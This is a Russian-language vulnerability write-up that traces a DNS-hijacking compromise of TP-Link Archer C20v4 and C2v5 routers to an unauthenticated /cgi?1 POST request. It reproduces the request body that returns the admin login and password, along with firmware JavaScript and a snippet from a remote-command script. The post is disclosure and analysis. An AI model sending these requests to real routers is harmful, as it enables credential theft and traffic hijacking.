[Из песочницы] По следам взлома tp-link
Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.
Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.
Что имеем:
- Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
- Внешний ip адрес на wan интерфейсе и открытый web доступ.
- Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
- Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.
Что нужно:
Выяснить, каким способом был получен доступ к устройству.
Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.
Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.
Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2(и 7),»[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]» и особый referer.
Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?
grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:
function doSetUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
getUsrName();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?2", true);
xmlHttpObj.send(args);
}
Эта функция при выполнении вызывает другую — getUsrName ().
Функция получения логина:
function getUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", "");
doSetPassword();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?1", true);
xmlHttpObj.send(args);
}
Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)
grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml
Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:
Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.
Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:
data = (
"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
"dataBlockSize=64\r\n"
"timeout=1\r\n"
"numberOfRepetitions=1\r\n"
"host=127.0.0.1\r\n"
"X_TP_ConnName=ewan_ipoe_s\r\n"
"diagnosticsState=Requested\r\n"
)
По аналогии формируем свой запрос:
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n"
"adminName\r\n"
"adminPwd\r\n"
Ииииии отправляем. В Wireshark’e пакет выглядит вот так:
Смотрим ответ:
Внимательный читатель заметит, что POST-запрос был отправлен к »/cgi?1», а не как в скрипте к »/cgi?2». Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.
Авторизуемся:
И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:
На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.
Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.
Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.
